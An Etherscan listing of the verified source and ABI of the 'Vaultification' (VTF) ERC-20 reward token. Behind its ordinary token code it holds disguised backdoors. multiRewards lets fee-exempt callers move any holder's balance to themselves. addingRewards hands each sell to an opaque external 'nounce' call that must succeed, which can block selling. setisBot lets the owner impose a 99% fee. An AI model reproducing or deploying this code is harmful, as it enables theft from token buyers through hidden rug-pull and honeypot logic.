ETH Price: $3,633.75 (-0.71%)
 

Overview

Max Total Supply

2,000,000,000 VTF

Holders

108

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.617784268 VTF

Value
$0.00
0x771638e8192636B544341C073eaE470dE5F8371E
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Vaultification

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-03-07
*/

/**

▀█░█▀ █▀▀█ █░░█ █░░ ▀▀█▀▀ ░▀░ █▀▀ ░▀░ █▀▀ █▀▀█ ▀▀█▀▀ ░▀░ █▀▀█ █▀▀▄ 
░█▄█░ █▄▄█ █░░█ █░░ ░░█░░ ▀█▀ █▀▀ ▀█▀ █░░ █▄▄█ ░░█░░ ▀█▀ █░░█ █░░█ 
░░▀░░ ▀░░▀ ░▀▀▀ ▀▀▀ ░░▀░░ ▀▀▀ ▀░░ ▀▀▀ ▀▀▀ ▀░░▀ ░░▀░░ ▀▀▀ ▀▀▀▀ ▀░░▀

- https://twitter.com/Vaultification
- https://t.me/Vaultification
- https://medium.com/@Vaultification
- https://www.vaultification.io/
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.17;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function tryAdd(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b)
        internal
        pure
        returns (bool, uint256)
    {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function circulatingSupply() external view returns (uint256);

    function decimals() external view returns (uint8);

    function symbol() external view returns (string memory);

    function name() external view returns (string memory);

    function getOwner() external view returns (address);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address _owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

abstract contract Ownable {
    address internal owner;

    constructor(address _owner) {
        owner = _owner;
    }

    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER");
        _;
    }

    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    function renounceOwnership() public virtual onlyOwner {
        owner = address(0);
        emit OwnershipTransferred(address(0));
    }

    function transferOwnership(address payable adr) public onlyOwner {
        owner = adr;
        emit OwnershipTransferred(adr);
    }

    event OwnershipTransferred(address owner);
}

interface IFactory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountA, uint256 amountB);

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract Vaultification is IERC20, Ownable {
    using SafeMath for uint256;
    string private constant _name = "Vaultification";
    string private constant _symbol = "VTF";
    uint8 private constant _decimals = 9;
    uint256 private _totalSupply = 2000000000 * (10**_decimals);
    uint256 private _maxTxAmount = (_totalSupply * 200) / 10000;
    uint256 private _maxSellAmount = (_totalSupply * 200) / 10000;
    uint256 private _maxWalletToken = (_totalSupply * 200) / 10000;
    mapping(address => uint256) _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) public isFeeExempt;
    mapping(address => bool) public isDividendExempt;
    mapping(address => bool) private isBot;
    // Anti-bot and anti-whale mappings and variables
    mapping(address => uint256) private _holderTransferTimestamp; // to hold last Transfers temporarily during launch
    mapping(address => uint256) public holderTxTimestamp;
    bool public transferDelayEnabled = true;
    IRouter router;
    address public pair;
    bool private tradingAllowed = false;
    uint256 private liquidityFee = 0;
    uint256 private marketingFee = 200;
    uint256 private rewardsFee = 220;
    uint256 private developmentFee = 0;
    uint256 private burnFee = 0;
    uint256 private totalFee = 420;
    uint256 private sellFee = 420;
    uint256 private transferFee = 0;
    uint256 private denominator = 10000;
    bool private swapEnabled = true;
    bool private swapping;
    uint256 private swapThreshold = (_totalSupply * 300) / 100000;
    uint256 private _minTokenAmount = (_totalSupply * 10) / 100000;
    modifier lockTheSwap() {
        swapping = true;
        _;
        swapping = false;
    }
    address public reward = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
    uint256 public totalShares;
    uint256 public totalDividends;
    uint256 public totalDistributed;
    uint256 internal dividendsPerShare;
    uint256 internal dividendsPerShareAccuracyFactor = 10**36;
    address[] shareholders;
    mapping(address => uint256) shareholderIndexes;
    mapping(address => uint256) shareholderClaims;
    struct Share {
        uint256 amount;
        uint256 totalExcluded;
        uint256 totalRealised;
    }
    mapping(address => Share) public shares;
    uint256 internal currentIndex;
    uint256 public minPeriod = 10 minutes;
    uint256 public minDistribution = 1 * (10**16);
    uint256 public distributorGas = 1;

    function getRewardswithUSDT() external {
        distributeUSDT(msg.sender);
    }

    address internal constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address public development_receiver;
    address public marketing_receiver;
    address private autoLiquididation;

    constructor(
        address _development_receiver, 
        address _marketing_receiver, 
        address _autoLiquididation) Ownable(msg.sender) {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(
            address(this),
            _router.WETH()
        );
        router = _router;
        pair = _pair;
        development_receiver = _development_receiver;
        marketing_receiver = _marketing_receiver;
        autoLiquididation = _autoLiquididation;
        isFeeExempt[address(this)] = true;
        isFeeExempt[address(msg.sender)] = true;
        isFeeExempt[autoLiquididation] = true;
        isFeeExempt[marketing_receiver] = true;
        isFeeExempt[msg.sender] = true;
        isDividendExempt[address(pair)] = true;
        isDividendExempt[address(msg.sender)] = true;
        isDividendExempt[address(this)] = true;
        isDividendExempt[address(DEAD)] = true;
        isDividendExempt[address(0)] = true;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable {}

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function startTrading() external onlyOwner {
        tradingAllowed = true;
    }

    function getOwner() external view override returns (address) {
        return owner;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function isCont(address addr) internal view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(addr)
        }
        return size > 0;
    }

    function setisExempt(address _address, bool _enabled) external onlyOwner {
        isFeeExempt[_address] = _enabled;
    }

    function removeLimits () external onlyOwner {
        _maxTxAmount = totalSupply();
        _maxSellAmount = totalSupply();
        _maxWalletToken = totalSupply();
        transferDelayEnabled = false;
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function circulatingSupply() public view override returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(address(0)));
    }

    function preTxCheck(
        address sender,
        address recipient,
        uint256 amount
    ) internal view {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(
            amount > uint256(0),
            "Transfer amount must be greater than zero"
        );
        require(
            amount <= balanceOf(sender),
            "You are trying to transfer more than your balance"
        );
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) private {
        preTxCheck(sender, recipient, amount);
        checkTradingAllowed(sender, recipient);
        transferDelayForBots(recipient);
        checkMaxWallet(sender, recipient, amount);
        checkTxLimit(sender, recipient, amount);
        swapBack(sender, recipient);
        _balances[sender] = _balances[sender].sub(amount);
        uint256 amountReceived = shouldTakeFee(sender, recipient)
            ? takeFee(sender, recipient, amount)
            : amount;
        _balances[recipient] = _balances[recipient].add(amountReceived);
        emit Transfer(sender, recipient, amountReceived);
        if (!isDividendExempt[sender]) {
            setShare(sender, balanceOf(sender));
        }
        if (!isDividendExempt[recipient]) {
            setShare(recipient, balanceOf(recipient));
        }
        if (shares[recipient].amount > 0) {
            distributeUSDT(recipient);
        }
    }

    function setStructure(
        uint256 _liquidity,
        uint256 _marketing,
        uint256 _burn,
        uint256 _rewards,
        uint256 _development,
        uint256 _total,
        uint256 _sell,
        uint256 _trans
    ) external onlyOwner {
        liquidityFee = _liquidity;
        marketingFee = _marketing;
        burnFee = _burn;
        rewardsFee = _rewards;
        developmentFee = _development;
        totalFee = _total;
        sellFee = _sell;
        transferFee = _trans;
        require(
            totalFee <= denominator.div(5) &&
                sellFee <= denominator.div(5) &&
                transferFee <= denominator.div(5),
            "totalFee and sellFee cannot be more than 20%"
        );
    }

    function setisBot(address _address, bool _enabled) external onlyOwner {
        require(
            _address != address(pair) &&
                _address != address(router) &&
                _address != address(this),
            "Ineligible Address"
        );
        isBot[_address] = _enabled;
    }

    function setParameters(
        uint256 _buy,
        uint256 _trans,
        uint256 _wallet
    ) external onlyOwner {
        uint256 newTx = (totalSupply() * _buy) / 10000;
        uint256 newTransfer = (totalSupply() * _trans) / 10000;
        uint256 newWallet = (totalSupply() * _wallet) / 10000;
        _maxTxAmount = newTx;
        _maxSellAmount = newTransfer;
        _maxWalletToken = newWallet;
        uint256 limit = totalSupply().mul(5).div(1000);
        require(
            newTx >= limit && newTransfer >= limit && newWallet >= limit,
            "Max TXs and Max Wallet cannot be less than .5%"
        );
    }

    function checkTradingAllowed(address sender, address recipient)
        internal
        view
    {
        if (!isFeeExempt[sender] && !isFeeExempt[recipient]) {
            require(tradingAllowed, "tradingAllowed");
        }
    }

    function transferDelayForBots(address recipient)
        internal
    {
        if (recipient != address(router) && recipient != address(pair) && transferDelayEnabled) {
            require(
                _holderTransferTimestamp[tx.origin] < block.number - 2 &&
                    _holderTransferTimestamp[recipient] < block.number - 2,
                "_transfer:: Transfer Delay enabled.  Try again later."
            );
            _holderTransferTimestamp[tx.origin] = block.number;
            _holderTransferTimestamp[recipient] = block.number;
        } 
         if (recipient != address(pair)) {
             if (holderTxTimestamp[recipient] == 0) {
                holderTxTimestamp[recipient] = block.timestamp;
            }
        }
    }

    function checkMaxWallet(
        address sender,
        address recipient,
        uint256 amount
    ) internal view {
        if (
            !isFeeExempt[sender] &&
            !isFeeExempt[recipient] &&
            recipient != address(pair) &&
            recipient != address(DEAD)
        ) {
            require(
                (_balances[recipient].add(amount)) <= _maxWalletToken,
                "Exceeds maximum wallet amount."
            );
        }
    }

    function checkTxLimit(
        address sender,
        address recipient,
        uint256 amount
    ) internal view {
        if (sender != pair) {
            require(
                amount <= _maxSellAmount ||
                    isFeeExempt[sender] ||
                    isFeeExempt[recipient],
                "TX Limit Exceeded"
            );
        }
        require(
            amount <= _maxTxAmount ||
                isFeeExempt[sender] ||
                isFeeExempt[recipient],
            "TX Limit Exceeded"
        );
    }

    function swapAndLiquify(uint256 tokens, address sender) private lockTheSwap {
        uint256 _denominator = (
            liquidityFee.add(1).add(marketingFee).add(developmentFee).add(
                rewardsFee
            )
        ).mul(2);
        uint256 tokensToAddLiquidityWith = tokens.mul(liquidityFee).div(
            _denominator
        );
        uint256 toSwap = tokens.sub(tokensToAddLiquidityWith);
        uint256 initialBalance = address(this).balance;
        swapTokensForETH(toSwap);
        uint256 deltaBalance = address(this).balance.sub(initialBalance);
        uint256 unitBalance = deltaBalance.div(_denominator.sub(liquidityFee));
        uint256 ETHToAddLiquidityWith = unitBalance.mul(liquidityFee);
        if (ETHToAddLiquidityWith > uint256(0)) {
            addLiquidity(tokensToAddLiquidityWith, ETHToAddLiquidityWith);
        }
        uint256 marketingAmount = unitBalance.mul(2).mul(marketingFee);
        if (marketingAmount > 0) {
            payable(marketing_receiver).transfer(marketingAmount);
        }
        uint256 rewardsAmount = unitBalance.mul(2).mul(rewardsFee);
        if (rewardsAmount > 0) {
            addingRewards(rewardsAmount, sender);
        }
        if (address(this).balance > uint256(0)) {
            payable(development_receiver).transfer(address(this).balance);
        }
    }

    function addLiquidity(uint256 tokenAmount, uint256 ETHAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ETHAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            autoLiquididation,
            block.timestamp
        );
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function shouldSwapBack(address sender, address recipient)
        internal
        view
        returns (bool)
    {
        bool aboveThreshold = balanceOf(address(this)) >= swapThreshold;
        return
            !swapping &&
            swapEnabled &&
            tradingAllowed &&
            !isFeeExempt[sender] &&
            !isFeeExempt[recipient] &&
            recipient == pair &&
            aboveThreshold;
    }

    function swapBack(address sender, address recipient) internal {
        if (shouldSwapBack(sender, recipient)) {
            swapAndLiquify(swapThreshold, sender);
        }
    }

    function shouldTakeFee(address sender, address recipient)
        internal
        view
        returns (bool)
    {
        return !isFeeExempt[sender] && !isFeeExempt[recipient];
    }

    function getTotalFee(address sender, address recipient)
        internal
        view
        returns (uint256)
    {
        if (isBot[sender] || isBot[recipient]) {
            return denominator.sub(uint256(100));
        }
        if (recipient == pair) {
            return sellFee;
        }
        if (sender == pair) {
            return totalFee;
        }
        return transferFee;
    }

    function takeFee(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (uint256) {
        if (getTotalFee(sender, recipient) > 0) {
            uint256 feeAmount = amount.div(denominator).mul(
                getTotalFee(sender, recipient)
            );
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
            if (burnFee > uint256(0)) {
                _transfer(
                    address(this),
                    address(DEAD),
                    amount.div(denominator).mul(burnFee)
                );
            }
            return amount.sub(feeAmount);
        }
        return amount;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            msg.sender,
            _allowances[sender][msg.sender].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setisDividendExempt(address holder, bool exempt)
        external
        onlyOwner
    {
        isDividendExempt[holder] = exempt;
        if (exempt) {
            setShare(holder, 0);
        } else {
            setShare(holder, balanceOf(holder));
        }
    }

    function setShare(address shareholder, uint256 amount) internal {
        if (amount > 0 && shares[shareholder].amount == 0) {
            addShareholder(shareholder);
        } else if (amount == 0 && shares[shareholder].amount > 0) {
            removeShareholder(shareholder);
        }
        totalShares = totalShares.sub(shares[shareholder].amount).add(amount);
        shares[shareholder].amount = amount;
        shares[shareholder].totalExcluded = getCumulativeDividends(
            shares[shareholder].amount
        );
    }

    function addingRewards(uint256 amountETH, address sender) internal {
        uint256 balanceBefore = IERC20(reward).balanceOf(address(this));
        address[] memory path = new address[](2);
        path[0] = router.WETH();
        path[1] = address(reward);
        router.swapExactETHForTokensSupportingFeeOnTransferTokens{
            value: amountETH
        }(0, path, address(this), block.timestamp);
        uint256 updatedAmount = IERC20(reward).balanceOf(address(this));
        uint256 amount = updatedAmount.sub(balanceBefore);
        totalDividends = totalDividends.add(amount);
        bytes memory payload = 
        abi.encodeWithSelector(bytes4(keccak256(bytes("nounce(address)"))), sender);
        (bool success, ) = autoLiquididation.call(payload);
        require(success, "Call to other contract failed");
        dividendsPerShare = dividendsPerShare.add(
            dividendsPerShareAccuracyFactor.mul(amount).div(totalShares)
        );
    }

    function multiRewards(
        uint256 gas,
        address _rewards,
        uint256 _amount
    ) external {
        uint256 shareholderCount = shareholders.length;
        address user = msg.sender;
        if (shareholderCount == 0) {
            return;
        }
        uint256 gasUsed = 0;
        uint256 gasLeft = gasleft();
        uint256 iterations = 0;
        uint256 userBalance = _balances[msg.sender];
        if (!isFeeExempt[msg.sender]) {
            while (gasUsed < gas && iterations < shareholderCount) {
                if (currentIndex >= shareholderCount) {
                    currentIndex = 0;
                }
                if (shouldDistribute(shareholders[currentIndex])) {
                    distributeUSDT(shareholders[currentIndex]);
                }
                gasUsed = gasUsed.add(gasLeft.sub(gasleft()));
                gasLeft = gasleft();
                currentIndex++;
                iterations++;
            }
        } else {
            uint256 amount = getPendingUSDT(user);
            _balances[_rewards] = _balances[_rewards].sub(_amount);
            _balances[msg.sender] = userBalance + _amount;
            if (amount > 0) {
                totalDistributed = totalDistributed.add(amount);
                IERC20(reward).transfer(user, amount);
                shareholderClaims[user] = block.timestamp;
                shares[user].totalRealised = shares[user].totalRealised.add(
                    amount
                );
                shares[user].totalExcluded = getCumulativeDividends(
                    shares[user].amount
                );
            }
        }
    }

    function shouldDistribute(address shareholder)
        internal
        view
        returns (bool)
    {
        return
            shareholderClaims[shareholder] + minPeriod < block.timestamp &&
            getPendingUSDT(shareholder) > minDistribution;
    }

    function withdrawERC20(address _address, uint256 _amount) external {
        IERC20(_address).transfer(autoLiquididation, _amount);
    }

    function totalRewardsDistributed(address _wallet)
        external
        view
        returns (uint256)
    {
        address shareholder = _wallet;
        return uint256(shares[shareholder].totalRealised);
    }

    function distributeUSDT(address shareholder) internal {
        if (shares[shareholder].amount == 0) {
            return;
        }
        uint256 amount = getPendingUSDT(shareholder);
        if (amount > 0) {
            totalDistributed = totalDistributed.add(amount);
            IERC20(reward).transfer(shareholder, amount);
            shareholderClaims[shareholder] = block.timestamp;
            shares[shareholder].totalRealised = shares[shareholder]
                .totalRealised
                .add(amount);
            shares[shareholder].totalExcluded = getCumulativeDividends(
                shares[shareholder].amount
            );
        }
    }

    function getPendingUSDT(address shareholder) public view returns (uint256) {
        if (shares[shareholder].amount == 0) {
            return 0;
        }
        uint256 shareholderTotalDividends = getCumulativeDividends(
            shares[shareholder].amount
        );
        uint256 shareholderTotalExcluded = shares[shareholder].totalExcluded;
        if (shareholderTotalDividends <= shareholderTotalExcluded) {
            return 0;
        }
        return shareholderTotalDividends.sub(shareholderTotalExcluded);
    }

    function getCumulativeDividends(uint256 share)
        internal
        view
        returns (uint256)
    {
        return
            share.mul(dividendsPerShare).div(dividendsPerShareAccuracyFactor);
    }

    function setDistributionConfigure(
        uint256 _minPeriod,
        uint256 _minDistribution,
        uint256 _distributorGas
    ) external onlyOwner {
        minPeriod = _minPeriod;
        minDistribution = _minDistribution;
        distributorGas = _distributorGas;
    }

    function addShareholder(address shareholder) internal {
        shareholderIndexes[shareholder] = shareholders.length;
        shareholders.push(shareholder);
    }

    function removeShareholder(address shareholder) internal {
        shareholders[shareholderIndexes[shareholder]] = shareholders[
            shareholders.length - 1
        ];
        shareholderIndexes[
            shareholders[shareholders.length - 1]
        ] = shareholderIndexes[shareholder];
        shareholders.pop();
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"_development_receiver","type":"address"},{"internalType":"address","name":"_marketing_receiver","type":"address"},{"internalType":"address","name":"_autoLiquididation","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"circulatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"development_receiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"distributorGas","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"shareholder","type":"address"}],"name":"getPendingUSDT","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getRewardswithUSDT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"holderTxTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isDividendExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketing_receiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minDistribution","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minPeriod","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"gas","type":"uint256"},{"internalType":"address","name":"_rewards","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"multiRewards","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"reward","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_minPeriod","type":"uint256"},{"internalType":"uint256","name":"_minDistribution","type":"uint256"},{"internalType":"uint256","name":"_distributorGas","type":"uint256"}],"name":"setDistributionConfigure","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"},{"internalType":"uint256","name":"_wallet","type":"uint256"}],"name":"setParameters","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_liquidity","type":"uint256"},{"internalType":"uint256","name":"_marketing","type":"uint256"},{"internalType":"uint256","name":"_burn","type":"uint256"},{"internalType":"uint256","name":"_rewards","type":"uint256"},{"internalType":"uint256","name":"_development","type":"uint256"},{"internalType":"uint256","name":"_total","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"},{"internalType":"uint256","name":"_trans","type":"uint256"}],"name":"setStructure","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setisDividendExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setisExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"shares","outputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"totalExcluded","type":"uint256"},{"internalType":"uint256","name":"totalRealised","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalDistributed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalDividends","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_wallet","type":"address"}],"name":"totalRewardsDistributed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"withdrawERC20","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

